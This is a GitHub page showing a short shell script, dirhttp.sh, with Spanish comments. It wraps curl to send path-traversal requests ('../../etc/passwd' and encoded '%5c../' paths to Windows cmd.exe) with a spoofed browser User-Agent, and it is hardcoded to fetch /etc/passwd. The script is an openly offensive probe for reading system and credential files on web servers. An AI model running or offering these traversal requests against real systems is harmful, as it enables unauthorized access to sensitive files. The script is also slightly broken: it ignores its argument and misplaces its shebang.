-
Notifications
You must be signed in to change notification settings - Fork 5
Expand file tree
/
Copy pathdirhttp.sh
More file actions
18 lines (18 loc) · 711 Bytes
/
Copy pathdirhttp.sh
File metadata and controls
18 lines (18 loc) · 711 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#
# Ver URL http puerto 80 con curl
# https://linux.die.net/man/1/curl
# curl
# -vvv Mostrar detalle en el resultado
#
# Uso.: ./dirhttp.sh "http://192.168.1.252:80/../../../../../../../etc/passwd"
# Uso.: ./dirhttp.sh "http://192.168.1.119/%5c../%5c../%5c../%5c../%5c/Windows/%5c/System32/%5c/cmd.exe"
#
#
#!/bin/sh
echo "Uso.: ./dirhttp.sh http://url"
curl --path-as-is --request GET -k \
-H "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0" \
-H "Accept: text/html, applicattion/xhtml+xml, application/xml;q=0.9,*/*;q=0.8" \
-H "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3" \
-H "Connection: keep-alive" \
"https://127.0.0.1:80/../../../../../etc/passwd"